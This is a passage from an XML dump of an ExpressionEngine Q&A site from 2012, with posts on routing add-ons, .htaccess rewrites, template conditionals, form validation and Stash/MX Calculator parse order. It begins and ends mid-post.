href=&quot;{path=&quot;speisekarten&quot;}#abendkarte&quot;&amp;gt;{navi_speisekarten}&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;@foamcow mentions switchee, the same developer also has a plugin called &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot;&gt;IfElse&lt;/a&gt; which enables you to parse advanced conditionals early.&lt;br&gt;&#xA;But i don't think you would need to since {if no_results} should be the only thing parsed in the channel-loop since the time-conditional, being an advanced conditional, is parsed later.&lt;/p&gt;&#xA;" OwnerUserId="329" LastEditorUserId="329" LastEditDate="2012-11-30T11:51:41.877" LastActivityDate="2012-11-30T11:51:41.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="846" PostTypeId="2" ParentId="811" CreationDate="2012-11-30T12:18:02.940" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It also appears that Router uses a config file instead of storing its settings within EE. Is there any non-subjective reason to prefer one method over the other, in terms of efficiency, for example?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming you're using a code versioning system ideally you want your config settings to be versioned so that they can easily be tracked, forked or rolled back with ease. This is especially important with core functionality such as routing. Keeping track of settings stored within the database is either convoluted or impossible, whereas a flat-file makes this stuff simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, and completely contradicting myself, I have used Freeway before to create a few basic single-segment URLs and it's always worked nicely.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2012-11-30T12:23:25.357" LastActivityDate="2012-11-30T12:23:25.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="847" PostTypeId="2" ParentId="811" CreationDate="2012-11-30T13:36:51.800" Score="11" Body="&lt;p&gt;I've played with both, but not used either in production. Here's how I as an end user would sumarise the differences between Freeway and Router:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freeway&quot;&gt;Freeway&lt;/a&gt;:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Free/Open Source (GPL) (+)&lt;/li&gt;&#xA;&lt;li&gt;You can still access the original URL segments in your template&lt;/li&gt;&#xA;&lt;li&gt;Friendlier/more &quot;EE-like&quot; routing syntax (+)&lt;/li&gt;&#xA;&lt;li&gt;Stores routes in CP rather than a file - this is a biggie for me personally as something as core as routing should not IMO be in the DB (-)&lt;/li&gt;&#xA;&lt;li&gt;Alpha/Beta state (- 0.0.1 release)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/router&quot;&gt;Router&lt;/a&gt;:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Commerical license (cost $ but hopefully better support)&lt;/li&gt;&#xA;&lt;li&gt;You can pass variables into your target template by setting params on hte &lt;code&gt;{exp:router}&lt;/code&gt; tag (+)&lt;/li&gt;&#xA;&lt;li&gt;You can still access the original URL segments in your template&lt;/li&gt;&#xA;&lt;li&gt;Can automatically set category variables based on routes.  (+)&lt;/li&gt;&#xA;&lt;li&gt;As it's loaded at the template stage, can easily be used with Structure or other addons that modify routing (+)&lt;/li&gt;&#xA;&lt;li&gt;Regex-based routing syntax, which has a steep learning curve if you come from the designer-front-ender segment of the EE userbase, but once you get your head around it you can basically do anything you want.&lt;/li&gt;&#xA;&lt;li&gt;Stores routes in a flat file, so easy to keep versioned. (+)&lt;/li&gt;&#xA;&lt;li&gt;Production ready/more mature (1.0 release) (+)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In terms of preference I think it depends on the task at hand. Router is probably more mature, and is very powerful but can be tricky to grok if you're not comfortable with regex. Freeway has an easier learning curve but for me isn't production ready (and keeping routes in the DB is a killer no-no for me personally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just starting out with custom routing, Freeway has a little brother called &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot;&gt;Freebie&lt;/a&gt; which can be super-useful for routing &quot;tweaks&quot;, like triggering non-routing template behaviour by passing custom segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PS Doug/Isaac: If I've misrepresented any features please do edit/comment and I'll be happy to fix&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-30T16:08:55.573" LastActivityDate="2012-11-30T16:08:55.573" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="848" PostTypeId="1" AcceptedAnswerId="859" CreationDate="2012-11-30T13:40:46.063" Score="8" ViewCount="138" Body="&lt;p&gt;I have two channel_fields that can be filled, and I need one of these values to be required (but not both). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there fieldtype that can solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB&lt;/strong&gt; Only one of the fields needs to be filled. I don't want to set both fields as required.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="104" LastEditDate="2012-11-30T13:56:14.597" LastActivityDate="2012-11-30T16:05:53.003" Title="Fieldtype for 2 dependant fields" Tags="|custom-fields|fields|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="850" PostTypeId="1" AcceptedAnswerId="932" CreationDate="2012-11-30T14:36:25.470" Score="6" ViewCount="149" Body="&lt;p&gt;I am currently using a non-official .htaccess rewrite to deal with index.php and a few other bits and pieces. Since it looks like I am going to try and take care of the other bits and pieces with Router, I want to get the .htaccess back to something closer to the official setup to make future support easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't think the straight-up official version will do since I have one index.php in my main directory and additional index.php files in five subdirectories. Basically, I am running multiple sites with the old method, but they're neither domains or subdomains, just folders. So I need those index.php files removed as well and if possible I would prefer to do it from a single .htaccess file instead of adding a new one in each subdirectory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I use right now (with &quot;GoT&quot; being one of the subdirectories with its own index.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/?((ASoIaF|Digest|Images|Login|Store|Updates|member)(/.*)?)$ /index.php/$1 [NC,L]&#xA;RewriteRule ^/?GoT/((Characters|Episodes|Features|Gallery|News)(/.*)?)$ /GoT/index.php/$1 [NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can that be brought closer in line with the official method while still using a single .htaccess? Or is that just making things unnecessarily complicated?&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2012-12-02T05:40:14.393" Title="Removing index.php with the official method when running old-style multiple sites?" Tags="|htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="851" PostTypeId="1" AcceptedAnswerId="853" CreationDate="2012-11-30T15:09:58.017" Score="6" ViewCount="726" Body="&lt;p&gt;I am wanting to display a message when a visitor lands on the site for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't necessarily want to use browser cookies, but would if thats the only solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, would I be better off storing an IP of a visitor in the db?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something to this effect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if first_visit}Welcome Message{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastActivityDate="2016-07-23T14:28:20.907" Title="Display a message on visitors first visit" Tags="|sessions|cookies|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="852" PostTypeId="1" AcceptedAnswerId="854" CreationDate="2012-11-30T15:18:34.550" Score="4" ViewCount="98" Body="&lt;p&gt;I've been asked to have a specific template, contest form, expire at 5:30pm tonite. There are no channel entries on this page so I can't set an entry to expire. Is it possible to do this with conditionals and current time? There are no concerns about time zones as the contest is very localized to one city.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I need to replace the contest form with a short message and it needs to happen at a specific time which I am unable to be in front of a computer.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-30T15:48:18.367" Title="Expire Template at specific time" Tags="|conditionals|how-to|expire|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="853" PostTypeId="2" ParentId="851" CreationDate="2012-11-30T15:25:44.357" Score="7" Body="&lt;p&gt;There is &lt;a href=&quot;http://devot-ee.com/add-ons/show-once&quot;&gt;Show Once&lt;/a&gt;. It does use cookies, but other than that it is probably just what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the add-on page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Show Once is the module for ExpressionEngine 2 that allows showing&#xA;  certain content to a user only once (during their first visit). The&#xA;  content that you want to show needs to be wrapped in&#xA;  {exp:show_once:check} tag pair.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:show_once:check code=&quot;twitter&quot;}&#xA;  Do not forget to follow us on Twitter!&#xA;{/exp:show_once:check}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-11-30T15:39:28.323" LastActivityDate="2012-11-30T15:39:28.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="854" PostTypeId="2" ParentId="852" CreationDate="2012-11-30T15:31:55.013" Score="5" Body="&lt;p&gt;Maybe something like this would work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{current_time format=&quot;%U&quot;}' &amp;gt; '1354296600'}{redirect='somewhere/else'}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generate the timestamp using something like &lt;a href=&quot;http://www.onlineconversion.com/unix_time.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.onlineconversion.com/unix_time.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2012-11-30T15:48:18.367" LastActivityDate="2012-11-30T15:48:18.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="855" PostTypeId="2" ParentId="852" CreationDate="2012-11-30T15:32:10.123" Score="0" Body="&lt;p&gt;You should be able to do this with current_time&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{current_time format='%Y%m%d'}&quot; ==  &quot;20121130&quot;}&#xA;&#xA;show this&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll just need to update the format to include the hour/minute as well.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-11-30T15:32:10.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="856" PostTypeId="1" CreationDate="2012-11-30T15:33:16.873" Score="2" ViewCount="174" Body="&lt;p&gt;My Expresso-store shipping dropdown is coded like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;strong&amp;gt;Please select your delivery/collection preference:&amp;lt;/strong&amp;gt; &amp;lt;br /&amp;gt;&#xA;&amp;lt;span class=&quot;bluetext&quot;&amp;gt;(please note we do not deliver outside the zones listed here) &amp;lt;/span&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;select name=&quot;shipping_method&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Select collection or delivery preference...&amp;lt;/option&amp;gt;&#xA;{shipping_method_options}&#xA;&amp;lt;/select&amp;gt;&#xA;{if error:shipping_method}&amp;lt;p class=&quot;form_error&quot;&amp;gt;Please select either collection or delivery.&amp;lt;/p&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like the buyer to see, by default in the dropdown, 'Select collection or delivery preference...'  If they don't change the selection to something else, I'd like for them to get an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove that option and just leave {shipping_method_options} the buyer does not need to change the dropdown, so no error message again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would cause an error message to actually appear for shipping methods? Is there a way I can make selection of a method mandatory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="437" LastEditorUserId="268" LastEditDate="2012-12-03T09:21:00.000" LastActivityDate="2012-12-03T09:21:00.000" Title="How to force a shipping error if option is not selected in Expresso-Store" Tags="|add-on|expresso-store|ecommerce|expresso|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="857" PostTypeId="1" AcceptedAnswerId="1575" CreationDate="2012-11-30T15:52:50.843" Score="3" ViewCount="354" Body="&lt;p&gt;I can't figure out why my dropdown submenu's aren't expanding? No JS errors either?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Zoo Flexible admin but when I hide the custom menu or reset to default the issue still persists? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3&#xA;Zoo Flexible Admin 1.62&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third Party folders are outside of &lt;code&gt;system&lt;/code&gt; &amp;amp; &lt;code&gt;themes&lt;/code&gt; folders&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-13T14:39:30.980" Title="Control panel dropdown submenus not expanding?" Tags="|control-panel|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="858" PostTypeId="2" ParentId="857" CreationDate="2012-11-30T15:58:23.443" Score="4" Body="&lt;p&gt;This is usually caused by a JavaScript error or error loading an asset file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should turn on your browser's developer tools and look for any 404s in addition to the JavaScript errors you looked for to begin debugging this type of problem.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-11-30T15:58:23.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="859" PostTypeId="2" ParentId="848" CreationDate="2012-11-30T16:05:53.003" Score="6" Body="&lt;p&gt;So the short answer is, I'm not aware of an existing fieldtype that would do this at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt; if you know a little PHP and you're willing to get your hands dirty it would be pretty easy to create something custom, depending on your validation requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full in's and out's of doing so go beyond the scope of this answer, but here's a summary of the approach I'd take:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest thing would be too start with an existing compound field fieldtype (ie a fieldtype that outputs a group of fields in the CP). I'd probably start with &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/vz-address&quot;&gt;VZ Address&lt;/a&gt;&lt;/strong&gt; as the source is pretty readable and it's &lt;a href=&quot;http://creativecommons.org/licenses/by-sa/3.0/&quot;&gt;CC Share-Alike&lt;/a&gt; licensed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd essentially just need to take the VZ Address FT and:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rename the ft class/file as something else to avoid collisions.&lt;/li&gt;&#xA;&lt;li&gt;strip out the stuff you don't need so you've just got a FT with two text fields, and set names for these for use in your template output.&lt;/li&gt;&#xA;&lt;li&gt;hook up a simple &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/fieldtypes.html#validate-data&quot;&gt;&lt;code&gt;validate()&lt;/code&gt;&lt;/a&gt; method that checks that at least one of the fields is not empty. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're feeling fancy you could add some javascript validation for extra sugar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PS If you need help with this hit me up on chat or Twitter, and I'll do my best to help you out.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-30T16:05:53.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="860" PostTypeId="2" ParentId="851" CreationDate="2012-11-30T16:31:53.217" Score="3" Body="&lt;p&gt;Another solution would be to use &lt;a href=&quot;http://devot-ee.com/add-ons/first-timer&quot; rel=&quot;nofollow&quot;&gt;First-timer&lt;/a&gt;. It allows you to redirect a user to a certain page when they login for  the first time.&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2012-11-30T16:31:53.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="861" PostTypeId="2" ParentId="770" CreationDate="2012-11-30T17:19:21.060" Score="1" Body="&lt;p&gt;If all of the following are true: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;emails come through fine when sent to addresses that do not use the same domain as your site&lt;/li&gt;&#xA;&lt;li&gt;emails are never delivered to any user@example.com (where example.com is the site domain name)&lt;/li&gt;&#xA;&lt;li&gt;you are not using your web host's nameservers, but are setting an MX Record for Google Apps with your domain registrar.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...then I'd recommend checking with your web host and letting them know you are not using their nameservers and for them to make sure there isn't anything that would attempt to pick up mail sent by the server to addresses at your domain (when that mail should really be routed to Google Apps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit of a shot in the dark, but I seem to have encountered this issue a couple of times and it was resolved by contacting the web host.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-11-30T17:19:21.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="862" PostTypeId="1" AcceptedAnswerId="982" CreationDate="2012-11-30T17:48:37.093" Score="2" ViewCount="900" Body="&lt;p&gt;I'm trying to do some basic math using a Stash Get var and MX Calculator. Any recommendations? I'm sure my lack of understanding of parse order strikes again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the variable using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name='house_starting_price'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try to use it in the &lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX_Calculator plugin&lt;/a&gt; the value doesn't parse.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_calc parse=&quot;inward&quot; expression=&quot;({exp:stash:get name='house_starting_price'}*.05)&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Based on feedback I've made the following adjustments:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The stash variable is set like so (note it is in a matrix field):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;Homes&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;                {!-- Go through the elevations matrix but only pull the fields that are from the current community, set with segment_4 --}&#xA;            {elevations orderby=&quot;elevation_name&quot; sort=&quot;asc&quot; orderby=&quot;elevation_name&quot; sort=&quot;asc&quot;  search:elevation_community=&quot;{segment_4}&quot;}&#xA;                {!-- Stash the first price as starting price for community --}&#xA;                {exp:stash:set name=&quot;house_starting_price&quot; match=&quot;^1$&quot; against=&quot;{row_count}&quot;}{elevation_price thousands_sep=''}{/exp:stash:set}&#xA;            {/elevations}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've modified the stash get to use stash:parse:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;br&amp;gt;starting price = {exp:stash:get name='house_starting_price'}&#xA;    {exp:stash:parse parse=&quot;end&quot;}&amp;lt;br&amp;gt;This is within stash parse: {exp:stash:house_starting_price}&#xA;&#xA;    &amp;lt;br&amp;gt;MX Calculator value: {exp:mx_calc expression=&quot;({exp:stash:house_starting_price}*.05&quot;})&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what's output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting price = 326600&lt;br&gt;&#xA;This is within stash parse: 326600&lt;br&gt;&#xA;MX Calculator value:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the output debugger I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:mx_calc expression=&quot;(M00o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr*.05&quot;})&#xA; {exp:mx_calc expression=&quot;(365000*.05)&quot;} &amp;lt;-manually entered 365000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2012-12-01&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've simplified this even more for testing. This takes channel:entries out of the equation all together. I'm finally getting it to calculate but I'm seeing some weird stuff.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Set the mytestvariable --}&#xA;{exp:stash:set name=&quot;mytestvariable&quot;}645323{/exp:stash:set}&#xA;&amp;lt;br&amp;gt;The test variable outside of MX Calculator equals: {exp:stash:get name=&quot;mytestvariable&quot;}&#xA;&#xA;    {!-- Use stash:parse to attempt using the stash var within MX Calculator --}&#xA;    {exp:stash:parse process=&quot;end&quot;}&#xA;&#xA;      {!-- Ensure the varible loads within stash:parse --}&#xA;      &amp;lt;br&amp;gt;The test variable within Stash Parse equals: {exp:stash:get name=&quot;mytestvariable&quot;}&#xA;&#xA;      {!-- Try to use the stash variable in MX Calculator --}&#xA;      &amp;lt;br&amp;gt;The test varible within MX Calculator equals: {exp:mx_calc parse=&quot;inward&quot; expression=&quot;{exp:stash:get name='mytestvariable'}*.05&quot;}&#xA;    {/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The test variable outside of MX Calculator equals: 645323&lt;br&gt;&#xA;The test variable within Stash Parse equals: M60o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&lt;br&gt;&#xA;The test varible within MX Calculator equals: 32266.15  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Should the second value not equal 645323?&lt;br&gt;&#xA;Note: I tried switching all stash gets to shorthand version as well:   {exp:stash:mytestvariable}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do this I get the following output:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The test variable outside of MX Calculator equals: 645323&lt;br&gt;&#xA;The test variable within Stash Parse equals: 32266.15&lt;br&gt;&#xA;The test varible within MX Calculator equals:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look in the debugger MX Calc is using M60o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr*.05 instead. &lt;/p&gt;&#xA;" OwnerUserId="1000" LastEditorUserId="1000" LastEditDate="2012-12-01T14:04:49.107" LastActivityDate="2012-12-03T14:41:48.170" Title="Calculating a value with Stash and MX Calculator" Tags="|stash|parse-order|matrix|mx-calculator|math|" AnswerCount="2" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="863" PostTypeId="2" ParentId="801" CreationDate="2012-11-30T18:12:15.347" Score="2" Body="&lt;p&gt;Use git for version control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use capistrano to deploy your sites ('upload'). You can also write tasks to, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download your DB (mysqldump, gzip, download, unzip and pipe into mysql)&lt;/li&gt;&#xA;&lt;li&gt;Sync the uploads directory with rsync&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Checkout some advice on this here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/454/how-can-i-use-capistrano-deployment-with-expressionengine/475#475&quot;&gt;How can I use capistrano deployment with ExpressionEngine?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="349" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-11-30T18:12:15.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="864" PostTypeId="2" ParentId="856" CreationDate="2012-11-30T18:21:39.457" Score="1" Body="&lt;p&gt;The easiest way to achieve what you are after would be to do it with a bit of javascript. Personally I like &lt;a href=&quot;http://archive.plugins.jquery.com/project/validate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Validate&lt;/a&gt; jQuery plugin. So you could do it a few ways with that. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;shipping_method&quot; class=&quot;required&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Select collection or delivery preference...&amp;lt;/option&amp;gt;&#xA;{shipping_method_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which should prevent the form from being submitted if they haven't selected an option. You could also prevent the first option from being selected by the user using the disable parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;shipping_method&quot; class=&quot;required&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;  disabled=&quot;disabled&quot;&amp;gt;Select collection or delivery preference...&amp;lt;/option&amp;gt;&#xA;{shipping_method_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other option would be to write your own custom rule for the validation something along the lines of (&lt;a href=&quot;https://stackoverflow.com/questions/2901125/jquery-validate-required-select&quot;&gt;as seen here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $.validator.addMethod(&quot;valueNotEquals&quot;, function(value, element, arg){&#xA;  return arg != value;&#xA; }, &quot;Value must not equal arg.&quot;);&#xA;&#xA; // configure your validation&#xA; $(&quot;form&quot;).validate({&#xA;  rules: {&#xA;   SelectName: { valueNotEquals: &quot;&quot; }&#xA;  },&#xA;  messages: {&#xA;   SelectName: {&#xA;    valueNotEquals: &quot;Please select either collection or delivery.&quot;&#xA;   }&#xA;  }  &#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-11-30T18:21:39.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="865" PostTypeId="2" ParentId="862" CreationDate="2012-11-30T18:29:58.847" Score="1" Body="&lt;p&gt;Looks like you may need to delay parsing of the plugin. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;{exp:mx_calc parse=&quot;inward&quot; expression=&quot;({stash:house_starting_price}*.05)&quot;}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{exp:stash:parse}&lt;/code&gt; tag is new to the beta version. So you may need to change versions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comma is definitely throwing the calculation off. Set the content to that matrix column to &lt;code&gt;integer&lt;/code&gt; so the data is standardize. Then I would use JS to format the currency&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update TABLE_NAME &#xA;set FIELD_NAME = replace(&#xA;    FIELD_NAME, &#xA;    ‘,’, &#xA;    ‘’&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-11-30T21:30:33.597" LastActivityDate="2012-11-30T21:30:33.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="866" PostTypeId="1" AcceptedAnswerId="876" CreationDate="2012-11-30T18:53:33.123" Score="7" ViewCount="2626" Body="&lt;p&gt;I use the official EE rewrite rule to remove index.php. This has always worked for me just fine... until now. I am using a hosting company that I've not used before and it is acting funny. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem: all routes are getting passed to the main index template, as if there were no additional url segments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine On&#xA;  RewriteCond $1 !\.(gif|jpe?g|png|pdf|doc|mp3|mov|mp4|tiff|ico|tif)$ [NC]&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone seen this issue before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I am using an A Small Orange shared plan. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt;&#xA;In config.rb, I needed to change 